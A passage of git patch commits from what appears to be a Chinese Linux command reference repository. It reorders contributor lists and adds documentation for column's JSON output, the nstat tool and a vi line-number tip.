miniwater noodles2hg nsnans -hululu1068 -huangyao -hotdogc1017 -gcluffy -githubwxz -ghy -gesty -gedune -gang.yang -ecjtusbs -duzhuoshanwai -dongpohezui -Deny -dayday -cxalc -Forever121 oliver +cxalc +dayday +Deny +dongpohezui +duzhuoshanwai +ecjtusbs +gang.yang +gedune +gesty +ghy +githubwxz +gcluffy +hotdogc1017 +huangyao +hululu1068 +jcdj666 七朔 孤城落寞 尘埃 @@ -112,7 +113,7 @@ zoomdong zuixin369 zyimm -chaofan +Q.Ben Zheng Mystic MinsonLee Marnm @@ -128,7 +129,6 @@ LaudOak Karl Horky Nexchard -Jeremy2214 Jack.A.Black Jack Huntout Zhang @@ -144,6 +144,7 @@ Azroy Alan 0x_000 +chaofan c2ch brinkqiang bestlaw66 @@ -173,8 +174,7 @@ Robigus Rining Wu Ray Yee -QinShower -Q.Ben Zheng +QinShower

数据来源于 GitHub Contributors，使用action-contributors创建。 From ec0fe45c48cf973ae69974e7d766029ed4df2f90 Mon Sep 17 00:00:00 2001 From: duzhuoshanwai <65448395+duzhuoshanwai@users.noreply.github.com> Date: Sat, 11 Jan 2025 11:07:52 +0800 Subject: [PATCH 442/570] doc: update column.md (#629) * doc: update README.md. * doc: update template/contributors.ejs. * Update column.md * doc: update README.md. * doc: update template/contributors.ejs. --------- Co-authored-by: github-actions[bot] --- README.md | 146 +++++++++++++++++++------------------- command/column.md | 53 ++++++++++++++ template/contributors.ejs | 146 +++++++++++++++++++------------------- 3 files changed, 199 insertions(+), 146 deletions(-) diff --git a/README.md b/README.md index 3a39ff29e2e..79063b9841c 100644 --- a/README.md +++ b/README.md @@ -308,45 +308,46 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. Zijing Zhang Fubin Zhang __FresHmaN -dulltackle -ernest 谈笑风生间 +ernest +dulltackle zyy2477 -rgshare -loverainye -lavaicer -YEUNGCHIE SteveLauC +YEUNGCHIE MioMuse James Wang +lavaicer +loverainye +rgshare Qliangw -Wang Yujia -alfred 沙漠之子 +Wang Yujia Shell xhal will VVatt gggwvg -Dazhuangw -Alterem -YH -Xrtero -Xingwen Zhang -Shan Chenyu -RichardLCD -Pan, Wen-Ming -Jeremy2214 +alfred +duzhuoshanwai +Ein Verne BingCoke FunKeen -Ein Verne -lewis1573 -leo -kid1412621 -kassadin -juemuren4449 +Jeremy2214 +Pan, Wen-Ming +QinShower +RichardLCD +Shan Chenyu +Xingwen Zhang +Xrtero +YH +Alterem +Dazhuangw jqz3.tech -Forever121 +juemuren4449 +kassadin +kid1412621 +leo +lewis1573 linuxwd Ricardowang cole @@ -355,55 +356,54 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. noodles2hg nsnans oliver -cxalc -dayday -Deny -dongpohezui -duzhuoshanwai -ecjtusbs -gang.yang -gedune -gesty -ghy -githubwxz -gcluffy -hotdogc1017 -huangyao -hululu1068 jcdj666 -七朔 -孤城落寞 -尘埃 -Wei Xu -Loofra -扶苏如是 -ReZero -极简XksA -移动的红烧肉 -继刚 -老犁 -Kyofin -谢民皆 -远方 -bycs +hululu1068 +huangyao +hotdogc1017 +gcluffy +githubwxz +ghy +gesty +gedune +gang.yang +ecjtusbs +dongpohezui +Deny +dayday +cxalc +Q.Ben Zheng Yidan Wang -rexlin600 -sfwwslm -shc -shuangcui -snovey -tangke -tutianyu101 -UniqueDing -weibk -Lingfeng Wang -yanyx -zjlovezj -zodiac -zoomdong -zuixin369 +bycs +远方 +谢民皆 +Kyofin +老犁 +继刚 +移动的红烧肉 +极简XksA +ReZero +扶苏如是 +Loofra +Wei Xu +尘埃 +孤城落寞 +七朔 zyimm -Q.Ben Zheng +zuixin369 +zoomdong +zodiac +zjlovezj +yanyx +Lingfeng Wang +weibk +UniqueDing +tutianyu101 +tangke +snovey +shuangcui +shc +sfwwslm +rexlin600 Mystic MinsonLee Marnm @@ -431,9 +431,10 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. Danny DaYangtuo247 Cui Yang -Azroy +azroy Alan 0x_000 +Forever121 chaofan c2ch brinkqiang @@ -463,8 +464,7 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. Rocher Robigus Rining Wu -Ray Yee -QinShower +Ray Yee 贡献者列表，由 [contributors](https://github.com/jaywcjlove/github-action-contributors) 自动生成 diff --git a/command/column.md b/command/column.md index 62e30329471..c93c184692b 100644 --- a/command/column.md +++ b/command/column.md @@ -26,6 +26,8 @@ file（可选），当没有指定文件时，默认会从标准输入读取， -s, --separator 指定识别表格的分隔符 -o, --output-separator 输出表格的列分隔符，默认为两个空格 -x, --fillrows 在列之前填充行 +-N, --table-columns 添加列名（逗号分隔） +-J --json 格式化为JSON输出（需要配合-N/--table-columns使用） -h, --help 显示此帮助 -V, --version 输出版本信息 ``` @@ -121,3 +123,54 @@ MemReq Metal3 pin 108.215 159.92 RdWrBar Metal3 pin 87.415 159.92 clock Metal3 pin 74.935 159.92 ``` + +- 添加列名并以JSON格式输出 + +```shell +$ column -J -s ":" -N "Username,Password,UID,GID,Gecos,HomeDirectory,Shell" /etc/passwd +{ + "table": [ + { + "username": "root", + "password": "x", + "uid": "0", + "gid": "0", + "gecos": "root", + "homedirectory": "/root", + "shell": "/bin/bash" + },{ + "username": "daemon", + "password": "x", + "uid": "1", + "gid": "1", + "gecos": "daemon", + "homedirectory": "/usr/sbin", + "shell": "/usr/sbin/nologin" + },{ + "username": "bin", + "password": "x", + "uid": "2", + "gid": "2", + "gecos": "bin", + "homedirectory": "/bin", + "shell": "/usr/sbin/nologin" + },{ + "username": "sys", + "password": "x", + "uid": "3", + "gid": "3", + "gecos": "sys", + "homedirectory": "/dev", + "shell": "/usr/sbin/nologin" + },{ + "username": "sync", + "password": "x", + "uid": "4", + "gid": "65534", + "gecos": "sync", + "homedirectory": "/bin", + "shell": "/bin/sync" + } + ] +} +``` diff --git a/template/contributors.ejs b/template/contributors.ejs index 77ec8c5d696..65bfe00654f 100644 --- a/template/contributors.ejs +++ b/template/contributors.ejs @@ -18,45 +18,46 @@ Zijing Zhang Fubin Zhang __FresHmaN -dulltackle -ernest 谈笑风生间 +ernest +dulltackle zyy2477 -rgshare -loverainye -lavaicer -YEUNGCHIE SteveLauC +YEUNGCHIE MioMuse James Wang +lavaicer +loverainye +rgshare Qliangw -Wang Yujia -alfred 沙漠之子 +Wang Yujia Shell xhal will VVatt gggwvg -Dazhuangw -Alterem -YH -Xrtero -Xingwen Zhang -Shan Chenyu -RichardLCD -Pan, Wen-Ming -Jeremy2214 +alfred +duzhuoshanwai +Ein Verne BingCoke FunKeen -Ein Verne -lewis1573 -leo -kid1412621 -kassadin -juemuren4449 +Jeremy2214 +Pan, Wen-Ming +QinShower +RichardLCD +Shan Chenyu +Xingwen Zhang +Xrtero +YH +Alterem +Dazhuangw jqz3.tech -Forever121 +juemuren4449 +kassadin +kid1412621 +leo +lewis1573 linuxwd Ricardowang cole @@ -65,55 +66,54 @@ noodles2hg nsnans oliver -cxalc -dayday -Deny -dongpohezui -duzhuoshanwai -ecjtusbs -gang.yang -gedune -gesty -ghy -githubwxz -gcluffy -hotdogc1017 -huangyao -hululu1068 jcdj666 -七朔 -孤城落寞 -尘埃 -Wei Xu -Loofra -扶苏如是 -ReZero -极简XksA -移动的红烧肉 -继刚 -老犁 -Kyofin -谢民皆 -远方 -bycs +hululu1068 +huangyao +hotdogc1017 +gcluffy +githubwxz +ghy +gesty +gedune +gang.yang +ecjtusbs +dongpohezui +Deny +dayday +cxalc +Q.Ben Zheng Yidan Wang -rexlin600 -sfwwslm -shc -shuangcui -snovey -tangke -tutianyu101 -UniqueDing -weibk -Lingfeng Wang -yanyx -zjlovezj -zodiac -zoomdong -zuixin369 +bycs +远方 +谢民皆 +Kyofin +老犁 +继刚 +移动的红烧肉 +极简XksA +ReZero +扶苏如是 +Loofra +Wei Xu +尘埃 +孤城落寞 +七朔 zyimm -Q.Ben Zheng +zuixin369 +zoomdong +zodiac +zjlovezj +yanyx +Lingfeng Wang +weibk +UniqueDing +tutianyu101 +tangke +snovey +shuangcui +shc +sfwwslm +rexlin600 Mystic MinsonLee Marnm @@ -141,9 +141,10 @@ Danny DaYangtuo247 Cui Yang -Azroy +azroy Alan 0x_000 +Forever121 chaofan c2ch brinkqiang @@ -173,8 +174,7 @@ Rocher Robigus Rining Wu -Ray Yee -QinShower +Ray Yee

数据来源于 GitHub Contributors，使用action-contributors创建。 From 2507c01aefb7b642ffbd29a2eee99a7d452183d7 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Sat, 11 Jan 2025 03:08:24 +0000 Subject: [PATCH 443/570] doc: update README.md. --- README.md | 24 ++++++++++++------------ 1 file changed, 12 insertions(+), 12 deletions(-) diff --git a/README.md b/README.md index 79063b9841c..fc680067304 100644 --- a/README.md +++ b/README.md @@ -312,24 +312,23 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. ernest dulltackle zyy2477 +rgshare +loverainye SteveLauC YEUNGCHIE +lavaicer MioMuse James Wang -lavaicer -loverainye -rgshare -Qliangw +Ein Verne +gggwvg +VVatt +will +xhal +Shell 沙漠之子 +Qliangw Wang Yujia -Shell -xhal -will -VVatt -gggwvg alfred -duzhuoshanwai -Ein Verne BingCoke FunKeen Jeremy2214 @@ -367,11 +366,11 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. gedune gang.yang ecjtusbs +duzhuoshanwai dongpohezui Deny dayday cxalc -Q.Ben Zheng Yidan Wang bycs 远方 @@ -404,6 +403,7 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. shc sfwwslm rexlin600 +Q.Ben Zheng Mystic MinsonLee Marnm From b8469913bda874ad4e6565feeb82b03a5123be22 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Sat, 11 Jan 2025 03:08:24 +0000 Subject: [PATCH 444/570] doc: update template/contributors.ejs. --- template/contributors.ejs | 24 ++++++++++++------------ 1 file changed, 12 insertions(+), 12 deletions(-) diff --git a/template/contributors.ejs b/template/contributors.ejs index 65bfe00654f..6baa3744322 100644 --- a/template/contributors.ejs +++ b/template/contributors.ejs @@ -22,24 +22,23 @@ ernest dulltackle zyy2477 +rgshare +loverainye SteveLauC YEUNGCHIE +lavaicer MioMuse James Wang -lavaicer -loverainye -rgshare -Qliangw +Ein Verne +gggwvg +VVatt +will +xhal +Shell 沙漠之子 +Qliangw Wang Yujia -Shell -xhal -will -VVatt -gggwvg alfred -duzhuoshanwai -Ein Verne BingCoke FunKeen Jeremy2214 @@ -77,11 +76,11 @@ gedune gang.yang ecjtusbs +duzhuoshanwai dongpohezui Deny dayday cxalc -Q.Ben Zheng Yidan Wang bycs 远方 @@ -114,6 +113,7 @@ shc sfwwslm rexlin600 +Q.Ben Zheng Mystic MinsonLee Marnm From 025cc0024d82a286a8a23e6f321c54df23f96d48 Mon Sep 17 00:00:00 2001 From: Shan Chenyu <103872353+ischenyu@users.noreply.github.com> Date: Sat, 1 Feb 2025 20:05:37 +0800 Subject: [PATCH 445/570] doc: Update README.md (#631) Replaced the expired domain name --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index fc680067304..e7e400ce4c2 100644 --- a/README.md +++ b/README.md @@ -35,7 +35,7 @@ **推荐使用的镜像 web 版本** -[**`linuxsearch.largeinfo.cc`**](http://linuxsearch.largeinfo.cc)，[**`srebro.cn`**](https://linux.srebro.cn/)，[**`getaifun.com`**](https://getaifun.com/linux)，[**`linux.devonline.net`**](http://linux.devonline.net/)，[**`man.zch.ooo`**](https://man.zch.ooo/)，[**`linux.mmoke.com`**](https://linux.mmoke.com)，[**`bqrdh.com`**](https://tools.bqrdh.com/linux-command/)，[**`linux.zyimm.com`**](http://linux.zyimm.com/)，[**`linux.vovuo.com`**](https://linux.vovuo.com/)，[`linux.liguiying.cn`](https://linux.liguiying.cn/), [`renye.net`](https://renye.net/), [`diqi.org`](https://diqi.org/)，[`linux.alistnas.xyz`](https://linux.alistnas.xyz/)，[`nenufm.com`](https://www.nenufm.com/linux-command/) +[**`linuxsearch.largeinfo.cc`**](http://linuxsearch.largeinfo.cc)，[**`srebro.cn`**](https://linux.srebro.cn/)，[**`getaifun.com`**](https://getaifun.com/linux)，[**`linux.devonline.net`**](http://linux.devonline.net/)，[**`man.zch.ooo`**](https://man.zch.ooo/)，[**`linux.mmoke.com`**](https://linux.mmoke.com)，[**`bqrdh.com`**](https://tools.bqrdh.com/linux-command/)，[**`linux.zyimm.com`**](http://linux.zyimm.com/)，[**`linux.vovuo.com`**](https://linux.vovuo.com/)，[`linux.liguiying.cn`](https://linux.liguiying.cn/), [`renye.net`](https://renye.net/), [`diqi.org`](https://diqi.org/)，[`linux.alistnas.top`](https://linux.alistnas.top/)，[`nenufm.com`](https://www.nenufm.com/linux-command/) **其它 web 版本** From 5e883e0dd3f2dca3325c0741d2855cc27dcae21b Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Sat, 1 Feb 2025 12:06:10 +0000 Subject: [PATCH 446/570] doc: update README.md. --- README.md | 62 +++++++++++++++++++++++++++---------------------------- 1 file changed, 31 insertions(+), 31 deletions(-) diff --git a/README.md b/README.md index e7e400ce4c2..9de0b9d1ce2 100644 --- a/README.md +++ b/README.md @@ -312,41 +312,42 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. ernest dulltackle zyy2477 -rgshare -loverainye SteveLauC -YEUNGCHIE -lavaicer MioMuse +Shan Chenyu James Wang -Ein Verne -gggwvg -VVatt -will -xhal -Shell -沙漠之子 +YEUNGCHIE +lavaicer +loverainye +rgshare Qliangw Wang Yujia +沙漠之子 alfred -BingCoke -FunKeen -Jeremy2214 -Pan, Wen-Ming -QinShower -RichardLCD -Shan Chenyu -Xingwen Zhang -Xrtero -YH -Alterem +Shell +xhal +will +VVatt +gggwvg +duzhuoshanwai Dazhuangw -jqz3.tech -juemuren4449 -kassadin -kid1412621 -leo +Alterem +YH +Xrtero +Xingwen Zhang +RichardLCD +QinShower +Pan, Wen-Ming +Jeremy2214 +FunKeen +BingCoke +Ein Verne lewis1573 +leo +kid1412621 +kassadin +juemuren4449 +jqz3.tech linuxwd Ricardowang cole @@ -366,11 +367,11 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. gedune gang.yang ecjtusbs -duzhuoshanwai dongpohezui Deny dayday cxalc +Q.Ben Zheng Yidan Wang bycs 远方 @@ -403,7 +404,6 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. shc sfwwslm rexlin600 -Q.Ben Zheng Mystic MinsonLee Marnm @@ -423,11 +423,11 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. Jack Huntout Zhang HighScorePlayer -Herbert8 +重劍無鋒 Guiying Li Frankie Divenire -Derek +Derek Danny DaYangtuo247 Cui Yang From 9585b89cda8f292b898a0d8135dc7aca5d303541 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Sat, 1 Feb 2025 12:06:11 +0000 Subject: [PATCH 447/570] doc: update template/contributors.ejs. --- template/contributors.ejs | 62 +++++++++++++++++++-------------------- 1 file changed, 31 insertions(+), 31 deletions(-) diff --git a/template/contributors.ejs b/template/contributors.ejs index 6baa3744322..9abf086e703 100644 --- a/template/contributors.ejs +++ b/template/contributors.ejs @@ -22,41 +22,42 @@ ernest dulltackle zyy2477 -rgshare -loverainye SteveLauC -YEUNGCHIE -lavaicer MioMuse +Shan Chenyu James Wang -Ein Verne -gggwvg -VVatt -will -xhal -Shell -沙漠之子 +YEUNGCHIE +lavaicer +loverainye +rgshare Qliangw Wang Yujia +沙漠之子 alfred -BingCoke -FunKeen -Jeremy2214 -Pan, Wen-Ming -QinShower -RichardLCD -Shan Chenyu -Xingwen Zhang -Xrtero -YH -Alterem +Shell +xhal +will +VVatt +gggwvg +duzhuoshanwai Dazhuangw -jqz3.tech -juemuren4449 -kassadin -kid1412621 -leo +Alterem +YH +Xrtero +Xingwen Zhang +RichardLCD +QinShower +Pan, Wen-Ming +Jeremy2214 +FunKeen +BingCoke +Ein Verne lewis1573 +leo +kid1412621 +kassadin +juemuren4449 +jqz3.tech linuxwd Ricardowang cole @@ -76,11 +77,11 @@ gedune gang.yang ecjtusbs -duzhuoshanwai dongpohezui Deny dayday cxalc +Q.Ben Zheng Yidan Wang bycs 远方 @@ -113,7 +114,6 @@ shc sfwwslm rexlin600 -Q.Ben Zheng Mystic MinsonLee Marnm @@ -133,11 +133,11 @@ Jack Huntout Zhang HighScorePlayer -Herbert8 +重劍無鋒 Guiying Li Frankie Divenire -Derek +Derek Danny DaYangtuo247 Cui Yang From 87a3efdb86e115c0682604b59be0e7d6e3c2659b Mon Sep 17 00:00:00 2001 From: waiwai <131680154+waiwai24@users.noreply.github.com> Date: Mon, 10 Feb 2025 09:09:59 +0800 Subject: [PATCH 448/570] Add nstat.md and updata Readme.md (#632) * Update README.md * Update README.md * add nstat.md --- README.md | 2 +- command/nstat.md | 137 +++++++++++++++++++++++++++++++++++++++++++++++ 2 files changed, 138 insertions(+), 1 deletion(-) create mode 100644 command/nstat.md diff --git a/README.md b/README.md index 9de0b9d1ce2..c2618a74d4a 100644 --- a/README.md +++ b/README.md @@ -13,7 +13,7 @@ [![jsdelivr cdn](https://data.jsdelivr.com/v1/package/npm/linux-command/badge)](https://www.jsdelivr.com/package/npm/linux-command) [![Docker Image Size (latest by date)](https://img.shields.io/docker/image-size/wcjiang/linux-command?logo=docker)](https://hub.docker.com/r/wcjiang/linux-command) -当前仓库搜集了 580 多个 Linux 命令，是一个非盈利性的仓库，生成了一个 web 网站方便使用，目前网站没有任何广告，内容包含 Linux 命令手册、详解、学习，内容来自网络和网友的补充，非常值得收藏的 Linux 命令速查手册。版权归属原作者，对任何法律问题及风险不承担任何责任，没有任何商业目的，如果认为侵犯了您的版权，请来信告知。我不能完全保证内容的正确性。通过使用本站内容带来的风险与我无关。当使用本站时，代表您已接受了本站的使用条款和隐私条款。 +当前仓库搜集了 600 多个 Linux 命令，是一个非盈利性的仓库，生成了一个 web 网站方便使用，目前网站没有任何广告，内容包含 Linux 命令手册、详解、学习，内容来自网络和网友的补充，非常值得收藏的 Linux 命令速查手册。版权归属原作者，对任何法律问题及风险不承担任何责任，没有任何商业目的，如果认为侵犯了您的版权，请来信告知。我不能完全保证内容的正确性。通过使用本站内容带来的风险与我无关。当使用本站时，代表您已接受了本站的使用条款和隐私条款。 ## Web 版本 diff --git a/command/nstat.md b/command/nstat.md new file mode 100644 index 00000000000..45d0c42cd7b --- /dev/null +++ b/command/nstat.md @@ -0,0 +1,137 @@ +nstat +=== + +nstat 是一个简单的监视内核的 SNMP 计数器和网络接口状态的实用工具。 + +## 补充说明 + +大多数命令行用户都熟悉 netstat ，这是 net-tools 软件包中的命令。目前新版本中 net-tools 软件包几乎完全被弃用，取而代之的是 ip 命令套件，而 nstat 属于新软件包。 + +### 语法 + +```s +nstat [OPTION] [ PATTERN [ PATTERN ] ] +``` + +### 选项 + +```shell +-h：显示帮助信息； +-V：显示指令版本信息； +-z：转储零计数器。默认情况下不显示它们； +-r：清零历史统计； +-n：不显示任何内容，仅更新历史； +-a：显示计数器的绝对值； +-d：以守护进程模式运行并收集统计数据 +-s：不更新历史； +-j：JSON格式输出。 +``` + +### 实例 + +直接输入以查询网络接口状态，以下展示了 IPv4，IPv6，TCP，UDP，ICMP 的统计数据： + +```shell +nstat +#kernel +IpInReceives 769152 0.0 +IpInAddrErrors 1 0.0 +IpInDelivers 769146 0.0 +IpOutRequests 764236 0.0 +IpOutDiscards 20 0.0 +IpOutNoRoutes 1 0.0 +IcmpInMsgs 92 0.0 +IcmpInDestUnreachs 92 0.0 +IcmpOutMsgs 94 0.0 +IcmpOutDestUnreachs 94 0.0 +IcmpMsgInType3 92 0.0 +IcmpMsgOutType3 94 0.0 +TcpActiveOpens 1786 0.0 +TcpPassiveOpens 142 0.0 +TcpAttemptFails 11 0.0 +TcpEstabResets 72 0.0 +TcpInSegs 756827 0.0 +TcpOutSegs 802908 0.0 +TcpRetransSegs 767 0.0 +TcpOutRsts 702 0.0 +UdpInDatagrams 12075 0.0 +UdpNoPorts 82 0.0 +UdpOutDatagrams 7045 0.0 +UdpIgnoredMulti 70 0.0 +Ip6InReceives 5005 0.0 +Ip6InDelivers 5005 0.0 +Ip6OutRequests 131 0.0 +Ip6OutDiscards 2 0.0 +Ip6OutNoRoutes 959 0.0 +Ip6InMcastPkts 4999 0.0 +Ip6OutMcastPkts 125 0.0 +Ip6InOctets 797462 0.0 +Ip6OutOctets 16421 0.0 +Ip6InMcastOctets 797030 0.0 +Ip6OutMcastOctets 15949 0.0 +Ip6InNoECTPkts 5005 0.0 +Icmp6InMsgs 3 0.0 +Icmp6OutMsgs 51 0.0 +Icmp6InNeighborAdvertisements 1 0.0 +Icmp6InMLDv2Reports 2 0.0 +Icmp6OutRouterSolicits 11 0.0 +Icmp6OutNeighborSolicits 4 0.0 +Icmp6OutMLDv2Reports 36 0.0 +Icmp6InType136 1 0.0 +Icmp6InType143 2 0.0 +Icmp6OutType133 11 0.0 +Icmp6OutType135 4 0.0 +Icmp6OutType143 36 0.0 +Udp6InDatagrams 4998 0.0 +Udp6OutDatagrams 76 0.0 +TcpExtTW 385 0.0 +TcpExtPAWSEstab 1 0.0 +TcpExtDelayedACKs 37133 0.0 +TcpExtDelayedACKLocked 57 0.0 +TcpExtDelayedACKLost 456 0.0 +TcpExtTCPHPHits 417717 0.0 +TcpExtTCPPureAcks 34186 0.0 +TcpExtTCPHPAcks 222980 0.0 +TcpExtTCPSACKReorder 1 0.0 +TcpExtTCPLossUndo 194 0.0 +TcpExtTCPLostRetransmit 169 0.0 +TcpExtTCPSlowStartRetrans 1 0.0 +TcpExtTCPTimeouts 494 0.0 +TcpExtTCPLossProbes 309 0.0 +TcpExtTCPBacklogCoalesce 571 0.0 +TcpExtTCPDSACKOldSent 281 0.0 +TcpExtTCPDSACKRecv 281 0.0 +TcpExtTCPAbortOnData 13 0.0 +TcpExtTCPAbortOnClose 30 0.0 +TcpExtTCPDSACKIgnoredOld 1 0.0 +TcpExtTCPDSACKIgnoredNoUndo 258 0.0 +TcpExtTCPSackShiftFallback 1 0.0 +TcpExtTCPRcvCoalesce 18314 0.0 +TcpExtTCPFastOpenActiveFail 2 0.0 +TcpExtTCPSpuriousRtxHostQueues 11 0.0 +TcpExtTCPAutoCorking 1684 0.0 +TcpExtTCPFromZeroWindowAdv 2 0.0 +TcpExtTCPToZeroWindowAdv 2 0.0 +TcpExtTCPSynRetrans 479 0.0 +TcpExtTCPOrigDataSent 359814 0.0 +TcpExtTCPHystartTrainDetect 13 0.0 +TcpExtTCPHystartTrainCwnd 550 0.0 +TcpExtTCPKeepAlive 18 0.0 +TcpExtTCPDelivered 361695 0.0 +TcpExtTCPZeroWindowDrop 1 0.0 +TcpExtTcpTimeoutRehash 494 0.0 +TcpExtTcpDuplicateDataRehash 2 0.0 +TcpExtTCPDSACKRecvSegs 281 0.0 +IpExtInNoRoutes 3 0.0 +IpExtInMcastPkts 5392 0.0 +IpExtOutMcastPkts 221 0.0 +IpExtInBcastPkts 70 0.0 +IpExtOutBcastPkts 10 0.0 +IpExtInOctets 2100280442 0.0 +IpExtOutOctets 226760631 0.0 +IpExtInMcastOctets 746608 0.0 +IpExtOutMcastOctets 27565 0.0 +IpExtInBcastOctets 5674 0.0 +IpExtOutBcastOctets 778 0.0 +IpExtInNoECTPkts 1885871 0.0 +``` \ No newline at end of file From b066d7a2dad799696c7c2125a9998c23d094be4e Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Mon, 10 Feb 2025 01:10:31 +0000 Subject: [PATCH 449/570] doc: update README.md. --- README.md | 9 +++++---- 1 file changed, 5 insertions(+), 4 deletions(-) diff --git a/README.md b/README.md index c2618a74d4a..8910741d6c7 100644 --- a/README.md +++ b/README.md @@ -342,13 +342,12 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. FunKeen BingCoke Ein Verne +linuxwd lewis1573 leo kid1412621 kassadin juemuren4449 -jqz3.tech -linuxwd Ricardowang cole dufu @@ -356,6 +355,8 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. noodles2hg nsnans oliver +rexlin600 +jqz3.tech jcdj666 hululu1068 huangyao @@ -371,7 +372,6 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. Deny dayday cxalc -Q.Ben Zheng Yidan Wang bycs 远方 @@ -396,6 +396,7 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. yanyx Lingfeng Wang weibk +waiwai UniqueDing tutianyu101 tangke @@ -403,7 +404,7 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. shuangcui shc sfwwslm -rexlin600 +Q.Ben Zheng Mystic MinsonLee Marnm From d0a57388a37a87afc719ed9cedcc58fd3a1625f1 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Mon, 10 Feb 2025 01:10:31 +0000 Subject: [PATCH 450/570] doc: update template/contributors.ejs. --- template/contributors.ejs | 9 +++++---- 1 file changed, 5 insertions(+), 4 deletions(-) diff --git a/template/contributors.ejs b/template/contributors.ejs index 9abf086e703..df27ac528f9 100644 --- a/template/contributors.ejs +++ b/template/contributors.ejs @@ -52,13 +52,12 @@ FunKeen BingCoke Ein Verne +linuxwd lewis1573 leo kid1412621 kassadin juemuren4449 -jqz3.tech -linuxwd Ricardowang cole dufu @@ -66,6 +65,8 @@ noodles2hg nsnans oliver +rexlin600 +jqz3.tech jcdj666 hululu1068 huangyao @@ -81,7 +82,6 @@ Deny dayday cxalc -Q.Ben Zheng Yidan Wang bycs 远方 @@ -106,6 +106,7 @@ yanyx Lingfeng Wang weibk +waiwai UniqueDing tutianyu101 tangke @@ -113,7 +114,7 @@ shuangcui shc sfwwslm -rexlin600 +Q.Ben Zheng Mystic MinsonLee Marnm From 4ce13f3cd8284ee782f0467fbd1491aeb34c8593 Mon Sep 17 00:00:00 2001 From: Jelly <141554249+JellyObjeck@users.noreply.github.com> Date: Mon, 10 Feb 2025 18:31:43 +0800 Subject: [PATCH 451/570] doc: Update vi.md (#633) --- command/vi.md | 3 +++ 1 file changed, 3 insertions(+) diff --git a/command/vi.md b/command/vi.md index 63ce4a16539..7536619c178 100644 --- a/command/vi.md +++ b/command/vi.md @@ -99,6 +99,9 @@ vi和ex编辑器的功能是相同的，二者的主要区别是用户界面。 则从文件第一行至文件末尾（$）将大写I全部替换成小写i。vi编辑器的三种工作方式之间的转换如图所示。 !vi +【查看行号】 +在 vi 或 vim 编辑器中，按 Esc，然后输入： +:set number From 60d460c5b30284749424d968c078fb9d97494188 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Mon, 10 Feb 2025 10:32:09 +0000 Subject: [PATCH 452/570] doc: update README.md. --- README.md | 97 ++++++++++++++++++++++++++++--------------------------- 1 file changed, 49 insertions(+), 48 deletions(-) diff --git a/README.md b/README.md index 8910741d6c7..67ab431e46e 100644 --- a/README.md +++ b/README.md @@ -348,6 +348,7 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. kid1412621 kassadin juemuren4449 +Forever121 Ricardowang cole dufu @@ -356,55 +357,54 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. nsnans oliver rexlin600 -jqz3.tech -jcdj666 -hululu1068 -huangyao -hotdogc1017 -gcluffy -githubwxz -ghy -gesty -gedune -gang.yang -ecjtusbs -dongpohezui -Deny -dayday cxalc -Yidan Wang -bycs -远方 -谢民皆 -Kyofin -老犁 -继刚 -移动的红烧肉 -极简XksA -ReZero -扶苏如是 -Loofra -Wei Xu -尘埃 -孤城落寞 +dayday +Deny +dongpohezui +ecjtusbs +gang.yang +gedune +gesty +ghy +githubwxz +gcluffy +hotdogc1017 +huangyao +hululu1068 +jcdj666 +jqz3.tech 七朔 -zyimm -zuixin369 -zoomdong -zodiac -zjlovezj -yanyx -Lingfeng Wang -weibk -waiwai -UniqueDing -tutianyu101 -tangke -snovey -shuangcui -shc +孤城落寞 +尘埃 +Wei Xu +Loofra +扶苏如是 +ReZero +极简XksA +移动的红烧肉 +继刚 +老犁 +Kyofin +谢民皆 +远方 +bycs +Yidan Wang sfwwslm -Q.Ben Zheng +shc +shuangcui +snovey +tangke +tutianyu101 +UniqueDing +waiwai +weibk +Lingfeng Wang +yanyx +zjlovezj +zodiac +zoomdong +zuixin369 +zyimm Mystic MinsonLee Marnm @@ -420,6 +420,7 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. LaudOak Karl Horky Nexchard +Jelly Jack.A.Black Jack Huntout Zhang @@ -435,7 +436,6 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. azroy Alan 0x_000 -Forever121 chaofan c2ch brinkqiang @@ -465,7 +465,8 @@ Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1. Rocher Robigus Rining Wu -Ray Yee +Ray Yee +Q.Ben Zheng 贡献者列表，由 [contributors](https://github.com/jaywcjlove/github-action-contributors) 自动生成 From 5ff4e61c6d33846c8e0939ed7d65bc07937c6e05 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Mon, 10 Feb 2025 10:32:10 +0000 Subject: [PATCH 453/570] doc: update template/contributors.ejs. --- template/contributors.ejs | 97 ++++++++++++++++++++------------------- 1 file changed, 49 insertions(+), 48 deletions(-) diff --git a/template/contributors.ejs b/template/contributors.ejs index df27ac528f9..dab9e0bdc01 